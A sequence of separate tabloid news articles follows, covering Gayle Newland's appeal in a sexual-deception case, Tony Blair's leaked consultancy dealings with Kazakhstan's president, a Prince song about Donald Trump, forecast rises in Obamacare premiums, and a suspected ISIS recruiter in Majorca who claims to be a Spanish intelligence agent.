Gayle Newland, 25, pictured here after being jailed for eight years at Chester Crown Court, has won the right to have her appeal against her conviction heard

Newland, from Williaston, will have her appeal heard at the Court of Appeal in London after a High Court ruling

Jurors at Chester Crown Court heard how Newland (pictured) took on an alter-ego, 'Kye Fortune', and disguised her gender from her victim by flattening her breasts with tape

A panel of three judges will examine the case and the evidence upon which she was found guilty and sentenced.

The court could quash the verdicts and order for a retrial to take place.

Jurors at Chester Crown Court heard how Newland took on an alter-ego, 'Kye Fortune', and disguised her gender from her victim by flattening her breasts with tape, wearing a swimsuit to smooth her curves and deepening her voice.

She persuaded the woman, also 25, to wear a blindfold when they were together - and had sex with her 10 times until the victim ripped off her mask and saw Newland was wearing a prosthetic penis.

Newland sobbed hysterically and screamed 'I'm scared' to her family when she was locked up for eight years at Chester Crown Court last year, despite begging for a suspended sentence.

The marketing manager from Willaston, Cheshire, was described as 'manipulative and deceitful' in court.

In her defence, Newland had told police that her accuser always knew she was pretending to be a man, and that her disguise was part of a sex game as they both struggled with being lesbians.

The court heard from her defence that she had been diagnosed with five psychological problems, including social anxiety disorder.

After creating a bogus Facebook profile in the name of 'Kye Fortune', Newland was said to have taken on the persona of Kye as she mimicked a man to speak on the phone with the victim.

The pair - who first made contact in 2011 - finally decided to meet up in February 2013.

Before they met, the complainant said that Kye had asked her to wear a blindfold because he was insecure about his looks following supposed life-saving brain surgery.

She told the court: 'Every time I met up with Kye Fortune I either had the mask on already or he would wait outside the door and I would put it on. I was so desperate to be loved.

'It's pathetic, so desperate for love, so desperate.

The marketing manager from Willaston, Cheshire, was described as 'manipulative and deceitful' in court

A jury at Chester Crown Court (pictured) found Newland guilty of three counts of sexual assault last year

'We were just lying there, just cuddling, sometimes we would watch films, sometimes we would just talk. It sounds stupid to say but it was a proper relationship, just normal.'

She went on: 'Since the first time I wrote to this person on Facebook, I thought it was a male.

'The first time I agreed to meet this person and agreed to have sex with them, I thought it was a male. I told my my friends I was engaged to a guy. I told my work colleagues.'

During her telephone conversations with Kye, the complainant said she dismissed her 'boyfriend's' high-pitched voice as a result of his Filipino heritage, the court heard.

When their relationship became sexual, the victim was told 'never' to touch Kye's penis.

The pair spent more than 100 hours together, the court heard.

But Newland's elaborate cover was blown when the complainant pulled off her blindfold and saw it was fake.

You are an intelligent, obsessional, highly manipulative, deceitful, scheming and thoroughly determined young woman Judge Roger Dutton speaking in November last year

The prosecution said it was an 'unusual case' set against an 'extraordinary background' in which the defendant targeted the 'naive and vulnerable' complainant - who said she was not gay - in an elaborate deception.

But Newland's legal team argued that the victim's account was 'impossible to believe' and that a woman of her sexual experience could not have been tricked into thinking she had had sex with a man.

Newland created the character of Fortune when she was 13 because she found it difficult to speak to girls in real life.

By the age of 15 or 16, she went on to develop a Facebook profile of 'half-Filipino, half-Latino' Fortune by downloading photographs from an American man's Myspace page.

Kye and Newland shared the same birth date and both liked RnB music and 'chick flicks'.

They also both had a dog named Gypsy, the court was told. The jury heard another woman said she had been duped by Newland into believing she was communicating with a man.

When Judge Roger Dutton sentenced her he told the former creative writing student that she was guilty of a 'cruel and callous deception'.

'You are an intelligent, obsessional, highly manipulative, deceitful, scheming and thoroughly determined young woman,' he said.

In a statement read out to the court last year, the victim - who cannot be identified for legal reasons - said that Newland had 'poisoned her life' and taken her 'youth and vitality.'

She said: 'Not only have I had to delete all the friends I have made in Chester apart from one, I feel like I can't visit that friend or the beautiful city again.
Tony Blair touted his firm's services to a dictator for 5.3million a year, the Daily Mail can reveal today.

He made the shameless sales pitch to Nursultan Nazarbayev, offering the Kazakh president his 'unique personal experience and insights'.

Leaked documents lay bare the former prime minister's dealings with a regime behind appalling human rights abuses.

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Tony Blair (right, in 2006) touted his firm's services to Kazakh President Nursultan Nazarbayev for 5.3million a year

It is accused of routinely torturing citizens and massacring 15 defenceless protesters in 2011. The dossier reveals that:

A key aide offered Mr Blair's 'private strategic advice' to Mr Nazarbayev only a year after he left No 10;

Six years on he was still touting for work in Kazakhstan, despite civil rights fears;

The pitch promised Mr Blair would be 'particularly closely involved'  for a bigger fee;

He rewrote a speech for Mr Nazarbayev to fend off criticism over the 2011 massacre;

His firm tried to involve an EU crony in lobbying for the Kazakh regime.

The extent of Mr Blair's dealings with the former Soviet republic in central Asia raises further questions about his apparent willingness to work with unsavoury leaders.

'It seems that no regime is too despotic for Tony Blair to work for  provided the price is right,' said Conservative MP Andrew Bridgen.

'Since leaving office he has become a gun for hire for all manner of dubious regimes, damaging our reputation around the world.'

Mr Blair denies making any personal profit from his deals with Kazakhstan. His office has said he simply helped to set up an advisory group and had not personally advised Mr Nazarbayev.

But the dossier of 30 emails given to the Mail by a whistleblower reveals that Jonathan Powell, the former PM's chief of staff in Downing Street, contacted a Nazarbayev aide in 2008.

The regime of President Nazarbayev (right, with Prince Charles in 1996) is accused of routinely torturing citizens and massacring 15 defenceless protesters in 2011

He said Mr Blair 'would be happy to provide private strategic advice to President Nazarbayev' and suggested the two men should hold meetings every three to six months, starting in January 2009.

Mr Powell said the pair should discuss international affairs and 'the proposed nature of future cooperation between Tony Blair and his team and President Nazarbayev and the government of Kazakhstan'.

Mr Blair's involvement was confirmed only in 2011, when the Kazakhs released a video of him sitting next to the president at a meeting.

A few weeks later the regime faced international condemnation when police opened fire on unarmed protesters in the western oil town of Zhanaozen, killing 15 civilians and injuring around 100 more.

Mr Blair helped the regime to 'spin' the massacre when he rewrote a 2012 speech for Mr Nazarbayev and personally advised him to address the human rights criticism 'head on'.

The Mail can reveal he also saw and approved a letter to the EU's high representative for foreign affairs and security policy, Baroness Ashton.

The letter sought to paint Kazakhstan as 'a remarkable success story' and set out its case for greater partnership with Europe, while playing down the Zhanaozen massacre.

A key aide offered Mr Blair's (pictured) 'private strategic advice' to Mr Nazarbayev only a year after he left No 10, the dossier reveals

One of Mr Blair's team, former British ambassador Michael Roberts, suggested the letter should be sent out to all European MPs, commissioners and foreign ministers by Baroness Ashton's office, effectively involving her in lobbying for the Kazakh cause.

Baroness Ashton, who was given her peerage by Mr Blair, told the Mail she could not remember whether her office had received the letter.

In 2013, opposition figures in Kazakhstan warned that the civil rights situation had got worse since Mr Blair began advising the president.

Seemingly undeterred, the former prime minister's firm Tony Blair Associates set out its sales pitch to extend its contract, including a range of deals and fees which started at 116,200 a month, plus VAT  it later rose to 1.84million a year.

The 'Political Advice and Positioning Module'  priced at 1.85million  guaranteed four visits from Mr Blair. It promised 'unique insights and support via personal involvement of Tony Blair'.

It added: 'Tony Blair's personal involvement enables assistance and offers discussions, leader to leader, in a way that no other consultancy can offer: leadership is a major part of getting things done.'

In addition to his professional fees, TBA's pitch stressed that Kazakhstan would also need to provide flights, catering and first-class accommodation for Mr Blair and his entourage.

Mr Blair (pictured giving evidence to the Iraq Inquiry) denies making any personal profit from his deals with Kazakhstan

However the regime in Astana would not be expected to pay for his protection team of officers from the Metropolitan Police Service.

A Blair spokesman said no project was agreed with the Kazakh government until 2011 and he 'has taken no personal fee from the project'.

His commercial activities are conducted through two companies, Windrush and Firerush, and he is the ultimate and sole owner of the firms.

The spokesman added: 'We can't comment on the documents you reference. In the interests of balance, no doubt you will also reflect that other similar consultancies work in and with the country, as well as other major international bodies including the World Bank, the Organisation for Economic Co-operation and Development and also the UK government.'

The bombshell documents laying bare Blair's amorality and greed: Revealed in all its breathtaking cynicism, how our former PM demanded 5m a year to polish the image of a tyrant accused of massacring his own people

How much does it cost a corrupt, oil-rich despot with an appalling human rights record to stick Tony Blair on his payroll? It's a question that's been asked repeatedly since our former Prime Minister left Downing Street and began signing lucrative consultancy deals in Kuwait, Qatar, Colombia, China and a host of murky dictatorships.

Informed sources frequently allege that his global portfolio of sometimes dodgy clients is likely to be worth tens of millions of pounds per year.

Yet such estimates are always loftily dismissed, occasionally by the man himself.

In a recent speech, Blair somewhat comically claimed to be worth less than 20 million, despite boasting property holdings which, alone, are worth around twice that.

Today, the Mail can finally lay the spin and speculation to rest: the real fee, per autocratic client, is precisely 5.3 million per year.

That, at least, is what Labour's one-time leader asked for, in writing, to provide 'leader-to-leader' advice to one of the world's ugliest despots, Kazakhstan's president Nursultan Nazarbayev.

Their commercial relationship stretches back to at least 2011, and  we can disclose  was first mooted in 2009, meaning that the 75-year-old tyrant might have paid more than 20 million to secure Blair's services.

Thanks to a dossier of leaked documents, we are now also able to expose some extraordinary details of the work Blair actually carries out to earn this astonishing fee (which includes VAT).

Tony Blair's handwritten letter (above) advising Kazakh despot Nursultan Nazarbayev how to spin a massacre

We can chronicle, in detail, how he's offered help to Nazarbayev, a deeply oppressive autocrat who has run Kazakhstan as a personal fiefdom for almost 30 years.

In that time, his regime has fixed elections, imprisoned and murdered opponents, shut down opposition newspapers, and siphoned vast wealth to a motley selection of Nazarbayev's friends and family members.

The U.S. state department has accused Nazarbayev's government of presiding over 'pervasive corruption' along with 'torture', 'restrictions on freedom of speech', 'arbitrary arrest', and 'discrimination and violence against women'.

None of which would appear to bother Blair too much. For we can also reveal how Britain's former PM secretly helped the Kazakhs lobby the European Parliament to pursue 'partnership and co-operation' with this vile dictator at a time of global outrage over the massacre by his regime of 15 striking oil workers.

Documents obtained by the Mail show that in 2012 Blair advised his client to enlist the help of his old friend, Baroness Ashton, a former New Labour crony-turned-EU Commissioner, in an attempt to convince MEPs that, despite the bloody atrocity, Kazakhstan was a 'remarkable success story' worth courting as a trading partner.

Shamelessly, Blair then personally intervened to help the despotic Nazarbayev 'spin' the massacre to news outlets, providing extensive advice to the dictator regarding how, in his words, to 'deal with it in the way I suggest is the best way for the Western media'.

Blair (left) greets Kazakhstan's President Nursultan Nazarbayev (right) in Downing Street in November 2000

Blair's 'Letter of Proposal' setting out in detail the 'political advice' work his firm will carry out for Kazakhstan

These, and other hair-raising revelations are contained in a leaked tranche of more than 30 emails sent by Blair's consultancy firm, Tony Blair Associates, to the Kazakh government over the past seven years.

They offer detailed and wholly unprecedented insight into the former Prime Minister's lucrative  some would say deeply immoral  business affairs, showing the degree to which he has leveraged contacts made in Downing Street for commercial gain.

Blair has always endeavoured to keep his controversial links to Nazarbayev secret, typically issuing short and dismissive comments about the subject when it attracts criticism from the media or human rights organisations.

Yet the emails, which include chummy handwritten letters from Blair to Nazarbayev, shed unprecedented light on the extent of their relationship, suggesting it runs far, far deeper than previously thought. They also showcase Blair's grasping sales pitch to the dictator, revealing exactly how he attempted to negotiate a renewal of his annual 'consultancy' contract with the regime in 2014.

For a total sum of $6.3 million, plus VAT  the equivalent of 5.3 million  Tony Blair Associates [TBA] offered in June that year to provide 12 months of 'political advice' to the despot, as well as offering counsel on the country's notoriously corrupt legal system and setting up a 'civil service academy'.

Blair's fee was set out in detail in emails from Austrian lawyer Andreas Baumgartner, a member of his 'senior leadership team', to the Kazakh ambassador to London, Erzhan Kazykhanov, sent that June.

This section of the proposal set out Blair's 'personal involvement' in Kazakhstan's 'journey of evolutionary change'

The proposal describes how the services will cost $166,500 per month, in a project overseen by Blair

They explained that TBA wanted $2.65 million (1.85 million) for providing 'political advice', plus $2.55 million (1.78 million) for helping Nazarbayev uphold the 'rule of law' and $1.1 million (770,000) for running the civil service academy.

The money  part of which covered 'professional fees' for Tony Blair  would be paid to Windrush Ventures, a firm which Companies House says has Mr Blair as its 'ultimate controlling party'.

Asked about this arrangement, Blair's office issued a statement last night denying that money paid by Kazakhstan to the firm, which has 12 million in the bank, ended up going to him 'personally'.

'Fees do not go to Mr Blair personally, but primarily fund the team on the ground to live and work in the country,' it read. 'Mr Blair has taken no personal fee from the project.'

Either way, central to the multi-million-pound 2014 sales pitch was Blair himself.

In a nine-page 'letter of proposal', marked 'confidential' and headlined 'Supporting Kazakhstan's Journey: Continuing the Co-operation between Kazakhstan and Tony Blair Associates', the firm told the dictator it was 'honoured by your trust and are looking forward to the next chapter' in their commercial relationship.

Blair (right) is pictured with his predecessor Gordon Brown (left) at Westminster Hall in September 2010

The document, essentially a sales patter for the 'political advice' section of their proposed contract, claimed: 'Direct involvement of Tony Blair and senior members of Tony Blair Associates will ensure top-level political advice and insights to Kazakhstan's key decision-makers.

We are looking forward to bringing this top-level political leadership experience to the table.

'Tony Blair will continue to oversee the project and support Kazakhstan's leadership in the journey of evolutionary change. He will share his own experience, support problem solving, and discuss suggestions and recommendations.

'Mr Blair also intends to visit Astana [the capital] during the work, and engage on the project with the President, Akorda [his office], and Government representatives and other key decision-makers.

'Beyond that, Mr Blair will be available via phone and mail throughout the course of the project, and will be happy to meet with leading representatives of Kazakhstan in London.'

In a later email, Baumgartner clarified that Blair, or 'TB', would make at least four personal visits to Kazakhstan during the year that the 5.3 million deals ran, while his firm would offer further 'hands-on' help for the dictator from a range of 'very heavy senior experts'.

He specified that four employees of Blair would be permanently stationed 'on the ground' there.

Meanwhile, in a 14-page prospectus discussing the 'civil service academy', also marked 'confidential', Tony Blair Associates sought to justify these exorbitant fees by describing itself as 'a unique value proposition'.

'Tony Blair's personal involvement enables assistance and offers discussions 'leader to leader' in a way that no other consultancy can offer: leadership is a major part of getting things done,' it declared, adding that he boasts 'an extensive and unparalleled network of trusted and experienced advisers and experts'. It was, all told, quite the hard sell.

Meanwhile, a third 'confidential' document, spanning six pages and described as a 'letter of financial proposal', added that the vast fees weren't all that the Kazakhs were required to pay to secure Blair's services.

Mr Nazarbayev is pictured with the Queen at Buckingham Palace in November 2006

They were also told to pay for 'a dedicated car with driver in Astana' a full-time 'translator', and 'adequate, designated office space' for Blair staff there.

Most costly of all, perhaps, would be a requirement for Nazarbayev's government to cough up for the 'full travel arrangements for visits by Tony Blair, including first-class hotel accommodation, all transportation... appropriate catering and any other costs' each time he comes to Kazakhstan, for him and up to 'five people travelling' in a personal entourage.

All of which is an eye-opening insight into the gilded lifestyle now enjoyed by our former Prime Minister, who to the concern of many former socialist supporters, has devoted recent years to the accumulation of vast wealth. Nazarbayev's regime isn't even the only paymaster Blair appears to boast in Kazakhstan. Other emails refer to potential deals with the country's national bank, along with local government in the city of Kyzylorda.

Meanwhile, several of his former Downing Street cronies have also benefited from the deal.

Alastair Campbell and Tim Allan, Blair's former spin-doctors, have carried out extensive PR work for the despot, while Cherie Blair in 2014 signed a 1,000-per-hour deal to give his regime legal advice.

What the taxpayers of Kazakhstan would make of their government's role in enriching Mr Blair and his chums can only be imagined.

To the despotic Nazarbayev, however  a former Communist party boss who has ruled the country since independence in 1991, winning an 'election' last April with 97.7 per cent of the vote  the commercial relationship has at times proved to be invaluable.

Take, for example, events that unfolded in the first half of 2012, amid growing international outrage over an incident months earlier when the dictator's police force had opened fire on a crowd of striking industrial workers in the city of Zhanaozen, killing 15 unarmed men and women.

The incident was par for the course in a country where, according to Amnesty International, 'impunity for torture and other ill-treatment remain largely unchallenged'.

Yet complaints by human rights groups had slowly begun to turn the massacre into a global cause celebre.

By March 2012, it was threatening to overshadow an effort by Nazarbayev to sign an 'enhanced partnership and co-operation agreement' with the EU, which was due to be considered by the European Parliament that month.

Indeed, the Kazakhs were increasingly concerned that MEPs, with their pesky concerns for human rights, might decide to vote down the precious 'partnership' in their debate on March 14.

Enter Tony Blair.

I can reveal that five days before the all-important debate, Michael Roberts, a former British ambassador then on the payroll of TBA's team in Astana, emailed the Nazarbayev regime with a secret plan, endorsed by Blair, to secure the agreement's safe passage through the EU Parliament.

At its centre would be a letter, attached to the email, which was signed by Nazarbayev  but had in fact been written by TBA. It sought to distance the dictator from the events in Zhanaozen, express remorse for the atrocity, and argue that his regime was 'determined to learn lessons' from it.

The text of the contrite missive, which spanned several pages, had been 'seen and approved by Mr Blair' and was based on 'ideas from Mr Blair himself'.

It was intended to be sent to Lady Ashton, a former New Labour crony who had been granted a peerage by Blair in 1999 and was by then, conveniently, working as the EU's first ever Foreign Minister.

Blair's office was behind a secret plan to use Lady Ashton, an old chum, to help lobby the European Parliament on behalf of a commercial client

'We are clear that the letter should quickly become public,' Roberts wrote.

'It is intended to be sent  by Lady Ashton's office  to all MEPs, European Commissioners, and EU Foreign Ministers. For maximum impact, we recommend that it be sent electronically to her office (rather than waiting for a meeting or delivery by hand).

'Obviously the sooner this is done the better. Your mission in Brussels might liaise with Lady Ashton's office on the issue of wider circulation.'

Later in his email to the Nazarbayev regime, Roberts explained that Kazakh diplomats should also launch a campaign of 'direct lobbying in the European Parliament', contacting 'a number of MEPs known to be sympathetic to Kazakhstan'.

They were advised to 'use your relationship with Alfred Gusenbauer', a former Chancellor of Austria, to persuade a 'very influential' Left-wing Austrian politician called Hannes Swoboda, who headed up a socialist voting bloc, to declare support for the 'partnership' deal.

All of which means that Blair's office was behind a secret plan to use Lady Ashton, an old chum, to help lobby the European Parliament (which she then worked for) on behalf of a commercial client. And that client had been responsible for appalling human rights abuse.

What a rum piece of business for our former Prime Minister to be orchestrating!

How extraordinary, one might add, for a Labour politician who for years lectured us about global moral leadership  and whose government famously boasted about its 'ethical foreign policy'  to be accepting money in exchange for mounting such an immoral spin and lobbying operation.

Little wonder that campaigners expressed outrage at the Mail's revelations last night.

Blair, left, his foreign policy adviser Sir Nigel Sheinwald (centre) and former U.S. President George W. Bush at the G8 summit in St. Petersburg in July 2006

'Blair has claimed he's promoting democracy and human rights in Kazakhstan, but it's increasingly clear his objective was to make money,' says Hugh Williamson, an expert on the region from Human Rights Watch.

'Getting involved in lobbying for Nazarbayev in Brussels is a long way from promoting the rule of law and human rights in Kazakhstan, which Blair has claimed were his motives.

Blair should stop trying to mislead the public on what his real motives are.'

It should be stressed that it remains unclear whether the proposed letter that was supposed to be dispatched from Nazarbayev to Catherine Ashton was ever actually sent.

Baroness Ashton said last night that she 'received hundreds of letters and emails' while working for the EU and 'don't remember whether my office ever received this one'.

'I certainly don't remember any conversations with Tony Blair on this,' she added.

We must take her at her word. Interestingly, however, the human rights organisation Open Dialog published a report in 2012 complaining that Ashton, who'd recently met with Nazarbayev, had 'paid little attention to human rights violations in his country'.

As for Blair's office, they claimed 'we have no record of any such letter being sent to Cathy Ashton'.

Curiously, they have in the past vigorously denied ever lobbying on behalf of Kazakhstan, claiming in 2013: 'We don't lobby but we do carry out work on social and economic reform in Kazakhstan.'

Quite how they reconcile that claim with the proposed letter to Ashton is anyone's guess.

Either way, Mr Blair's wider plan appears to have been a great success: the European Parliament's 'enhanced partnership and co-operation agreement' with Kazakhstan was duly ratified. As for the fallout from the Zhanaozen massacre, Blair continued to mastermind a dogged PR operation to prevent his client from facing criticism.

Blair (left) and Colonel Gaddafi (right) shaking hands at Gaddafi's desert base near Sirte, Libya, in 2015

In July 2012, he wrote a personal letter to Nazarbayev, who was due to visit the UK days later, saying 'I think it best to meet head on the Zhanaozen issue', and saying that 'dealing with it in the way I suggest is the best way for the Western media'.

And then he redrafted a speech the despot was due to give in Cambridge during the visit to include mention of the atrocity, and to argue that 'these events, tragic though they were, should not obscure the enormous progress that Kazakhstan has made'.

Blair signed the letter to Nazarbayev by hand: 'With very best wishes. I look forward to meeting you in London!'

TAXPAYERS STILL FOOTING HIS HUGE POLICE PROTECTION BILL Tony Blairs police bodyguards are paid for by the taxpayer  even when he is building his business empire abroad. The former prime minister travels with a squad of Scotland Yard officers whose salary, travel, overtime and other expenses are funded by the public purse. His trips to high-risk countries can involve up to 12 officers, at an estimated cost to the taxpayer of up to 16,000 a week. His firm, Tony Blair Associates, told their Kazakh customers to provide flights, catering and first-class accommodation for Mr Blair and his entourage. But it said the regime would not be expected to pay for his team of Metropolitan Police officers, who are paid by Scotland Yard with a contribution from the Home Office. The extent of Mr Blairs private and commercial work abroad has led to calls for him to make a contribution to the costs of his round-the-clock protection. A spokesman for the Met said: We do not discuss matters of security. Advertisement

It was, perhaps, just another chapter in a cosy personal relationship that stretched back to November 2000, when they had first met at Downing Street during a state visit.

Back then, Britain's Prime Minister flattered the dictator by allowing him to cradle his six-month-old baby Leo in his arms.

In 2006, Nazarbayev visited again, and their friendship was cemented when he was once more invited into Downing Street for a series of chummy photo-calls.

Blair quit office in June 2007, and promptly left Parliament to supposedly devote himself to an important new job as the UN's Middle East Envoy.

But in practice, his attention soon turned to the more serious business of becoming extremely rich.

Although his role with the Kazakhs wasn't first reported until 2011, the Mail can reveal that Blair actually began pursuing the lucrative job opportunities there in 2008 three years earlier than previously known.

We have, to that end, obtained an email sent by Blair's one-time Chief of Staff, Jonathan Powell, to Yerzhan Kazykhanov, one of Nazarbayev's aides, on November 17 that year.

It refers to discussions taking place about 'possible co-operation between Tony Blair and his team and President Nazarbayev', and lays out in detail the 'confidential advice' that our former PM would be willing to give the wealthy despot.

The lengthy note talks about helping improve his economy and improve his tarnished global reputation. But it, of course, contains no mention of human rights, or democracy.

Instead, the email suggests 'regular meetings between Tony Blair and President Nazarbayev, starting with a meeting in January to cover the international political scene, economic situation in Europe and Kazakhstan, and the proposed nature of future co-operation between Tony Blair and his team and President Nazarbayev . . . meetings should take place every three to six months, with telephone conversations at other times'.

So, it would seem, began a relationship which continues to this day, funnelling cash into the coffers of Tony Blair Associates at a rate of more than 5 million a year, and forever tarnishing the reputation of this most greedy and hypocritical of British prime ministers.

Tony Blair's handwritten letter advising Kazakh despot Nursultan Nazarbayev how to spin a massacre

How Blair's aide emailed Kazakh regime in plot to convince MEPs that their country was a 'remarkable success story'

In March 2012, amid an international outcry over the massacre of striking industrial workers in Zhanaozen, Blair's aide Michael Roberts emails the Kazakh regime discussing how to enlist Baroness Ashton in a covert attempt to convince MEPs that their country is a 'remarkable success story.'

Blair's April 2014 'Letter of Proposal' setting out in detail the 'political advice' work his firm will carry out for Kazakhstan

Blair's April 2014 'letter of financial proposal' setting out costs of the 'political advice' work his firm will carry out in Kazakhstan

The $1,998,000 it quotes was later revised up to $2.65m.

Email from Blair's employee to Kazakh ambassador quoting $3.75m for 'compromise proposal'

Blair's employee Andreas Baumgartner emails the Kazakh ambassador on June 12th 2014, quoting $3.75 for two of the three deals he hopes to sign

Blair's colleague offer $400,000 discount for multi-million pound contract boasting of good price for 'heavy senior expert involvement'
Since his death on Thursday, numerous stories are emerging about the life and legacy of Prince.

We know that the iconic artist was a prolific writer for other musicians, penning songs including Sinead O'Connor's biggest hit Nothing Compares 2 U, often under pseudonyms.

But a little known fact is he once wrote a romantic ballad about Donald Trump.

The seductive song, recorded by R&B group The Time for their 1990 album Pandemonium, is called 'Donald Trump (Black Version).'

Scroll down for video

Prince (right, in 1990) once wrote a seductive ballad about Donald Trump for 90s group The Time

The hilarious chorus goes: 'Donald Trump (black version), maybe that's what you need. A man that fulfils you every wish, your every dream.

'Donald Trump (black version), come on take a chance. A 1990s love affair, the real romance.'

The band, now known as The Original 7ven, was formed by Prince in 1981 in Minneapolis under a clause in his Warner bros contract that allowed him to recruit and work with other artists for the label.

Prince's biographer Matt Thorne wrote that the song had originally been written for The Time's unreleased album Corporate World, according to Buzzfeed.

The seductive song, recorded by R&B group The Time (pictured, in 2008) for their 1990 album Pandemonium, is called 'Donald Trump (Black Version)'

However, the album ultimately became Pandemonium and features five songs written by Prince. it was recorded through his label, Paisley Park Records, and distributed by Warner Bros.

And according to a 1990 review of the record in the Sun-Sentinel, he took no credit whatsoever for the work.

'Listening to Pandemonium, the new reunion album by The Time, I couldn't help thinking  geez, this stuff is good,' wrote Deborah Wilker in July 1990.

DONALD TRUMP (BLACK VERSION) Honey baby, you truly know it. You truly know it. You look good. Tryin' your best to show it. If I were you, I would. True love and affection. These are nice, so nice but when a money man walks in the room, girl, you look more than twice.You look once, you look twice. Can I rap to you sugar tonight? (chorus) Donald Trump (black version), maybe that's what you need. A man that fulfills your every wish, your every dream. Donald Trump (black version), come on take a chance A 1990's love affair, the real romance. Source: MetroLyrics Advertisement

'Well, one week later, the joke's on me as Warner Bros. reps leaked the vital info that Prince ghost-wrote half of it. No wonder the set had that unmistakable superstar flair.'

Meanwhile, Trump paid tribute to the musical legend on Twitter, writing: 'I met Prince on numerous occasions. He was an amazing talent and wonderful guy. He will be greatly missed!'

It is not known if Trump if aware of the song named for him or its links to the late pop icon, but Daily Mail Online has contacted a representative for comment.

Prince died at the age of 57 at his Paisley Park home and studio compound in Minnesota on Thursday.

On Friday, authorities said they have completed his autopsy, but preliminary findings were not being immediately released.

Meanwhile, President Barack Obama revealed on Friday that he listed to the icon's anthem Purple Rain before meeting the Queen during his visit to the UK.

The president said he listened to that song and Delirious 'to get warmed up' at the US ambassador's residence in London at the start of a day which saw him have lunch with the monarch and hold talks with David Cameron.

Obama said Prince gave an 'extraordinary' performance at the White House.

Speaking at the Foreign Office in a joint press conference with Cameron, he said: 'I love Prince because he put out great music and he was a great performer.

'I didn't know him well, he came to perform at the White House last year and was extraordinary and creative and original and full of energy. It's a remarkable loss.'

Trump paid tribute to the musical legend on Twitter, writing: 'I met Prince on numerous occasions. He was an amazing talent and wonderful guy. He will be greatly missed!'

'Donald Trump (black version), come on take a chance. A 1990s love affair, the real romance.' Pictured left, Prince performs in 2010 and right, Trump in 1990

He said ambassador Matthew Barzun had a copy of Prince's record at his official residence in London.

'I'm staying at Winfield House, the US ambassador's residence. It so happens our ambassador has a turntable and so this morning we played Purple Rain and Delirious just to get warmed up before we left the house for important bilateral meetings like this.'

On Thursday, Obama released a statement, calling Prince 'one of most goifted and prolific musicians of our time.

'Today, the world lost a creative icon,' he said. 'Michelle and I join millions of fans from around the world in mourning the sudden death of Prince.

Obama (left) said he listened to Purple rain and Delirious 'to get warmed up' at the start of a day which saw him have lunch with the monarch and hold talks with David Cameron (right) in London

'Few artists have influenced the sound and trajectory of popular music more distinctly, or touched quite so many people with their talent.

'As one of the most gifted and prolific musicians of our time, Prince did it all. Funk. R&B. Rock and roll. He was a virtuoso instrumentalist, a brilliant bandleader, and an electrifying performer.
Obamacare premium costs are predicted to rise significantly in 2017 along with other related costs, according to a spokeswoman for health insurers.

Marilyn Tavenner, president and CEO of America's Health Insurance Plans, believes the impending rise in health insurance rates is the result of a culmination of market shifts faced by insurers in the last several years.

'I've been asked, what are the premiums going to look like? I don't know, because it also varies by state, market, even within markets,' Tavenner told the Morning Consult.

'But I think the overall trend is going to be higher than we saw previous years.'

Obamacare premium costs are predicted to rise significantly in 2017 along with other related costs, according to a spokeswoman for health insurers

Marilyn Tavenner, president and CEO of America's Health Insurance Plans, (pictured) said the impending rise in health insurance rates is the result of a culmination of market shifts faced by insurers in the last several years

Tavenner said several factors indicate rates for next year will increase more than in previous years including medical cost trends, drug costs and market shifts that come from Obamacare.

However, if last year is a likely indicator, premiums could be lower than the initial bids.

Last year, some states saw double-digit premium increase requests but the average rate increase for this year ended up being eight per cent.

As insurers warn that health care premiums will likely rise next year, the administration is working to calm fears.

'Marketplace consumers would do well to put little stock in those initial numbers,' Ben Wakana, a U.S. Department of Health and Human Services spokesman, told the Morning Consult in reference to Tavenner's predictions.

'A new report by the Department of Health and Human Services debunks the myth, based on last year's rate filings, that average consumers experienced double-digit percentage premium increases for coverage on the health insurance marketplace in 2016.'

Wakana also said changes in health rates 'are not a reliable indicator of what typical consumers will actually pay,' according to the Morning Consult.

Insurance exchanges established under the Affordable Care Act differ from other insurance markets.

This is because they tend to have sicker enrollees, consist of people denied coverage prior to Obamacare or did not receive insurance through their employers, according to the Morning Consult.

Tavenner is also among the insurance industry insiders who say the Affordable Care Act marketplaces are not yet stable.

This is due to the fact that more than half of the non-profit insurers established under the ACA have failed and United Health recently announced it is pulling out of many exchanges, according to the Morning Consult.

Last week it was reported that health insurers are seriously concerned over the future of Obamacare as many insurers rapidly lose money.

Opponents of the Affordable Care Act have long-warned of the problem of insurers being forced to raise premiums

Some companies are talking about ditching their participation in the marketplace or dramatically increasing prices - and there is also the threat of a total collapse.

The CEO of insurance provider Aetna said it's still too early to declare the federal health care program a failure but the company 'continues to have serious concerns about the sustainability of the public exchanges.'

Analysts had expected the program to become more stable as younger, healthier people purchased insurance, but that is not happening.

A report by insurance company Blue Cross Blue Shield found health insurers gained a sicker, more expensive patient population after the Affordable Care Act expanded coverage in 2014.

Newer customers had higher rates of diabetes, depression and high blood pressure, among other conditions.

They also visited the emergency room much more frequently than people who had private, individual coverage before the law expanded.

Another report, by McKinsey and Company showed insurance companies lost money in 41 states in 2014, in the individual market, which includes Obamacare marketplaces.

Blue Cross of North Carolina's CEO Brad Wilson claimed a loss of $400million.

'There's not going to be something magical happen that will cause this to turn around,' Wilson said to AOL.

Researchers caution against drawing broad conclusions about the newly insured based on what amounts to a limited look at a still-evolving health care market.

But the numbers show how gaining coverage is only part of a long journey toward the ACA's other key goals of improving health and slowing cost growth.

'The coverage is the first step,' said Linda Blumberg, a health insurance expert at Urban Institute, a nonprofit research organization.
A suspected Isis recruiter has denied having any involvement with the terror group - claiming he was a spy working for Spain's National Intelligence Centre.

Mohamed Harrak, 46, from Morocco, was arrested in Majorca on suspicion of planning a major strike in Spain and recruiting ISIS volunteers.

But, speaking after Harrak was remanded in custody by an investigating judge, his defence lawyer, Pedro Casado, insisted his client was completely innocent.

Mohamed Harrak, 46, from Morocco, was arrested in Majorca on suspicion of planning a major strike in Spain and recruiting ISIS volunteers

He said Harrak had no involvement with ISIS and was simply impersonating a terrorist in order to get information.

The self-confessed lover of war games, guns and paint-balling is being kept in maximum security in Palma prison.

He is being kept in isolation to avoid any possible confrontations with other prisoners.

He is the only suspected terrorist being held at Palma and was sent there yesterday after spending two hours before a judge who had studied a 13-page report on his alleged activity over the internet.

He sent hundreds of messages to potential recruits and posted a string of comments about atrocities in Europe.

These included describing the Paris terrorist massacre last November as an 'excellent day' and backing the sadists who beheaded British aid worker David Haines.

It was revealed he was planning a major attack in Spain but it had been foiled. No other details were given.

Spanish newspaper Diario De Mallorca reported that Harrak confessed to the judge of Spain's Audiencia Nacional, via video link, that he had written the radical messages but did so with a purpose.

'I am a CNI agent and they instructed me to infiltrate myself between these groups of radical jihadists,' he said.

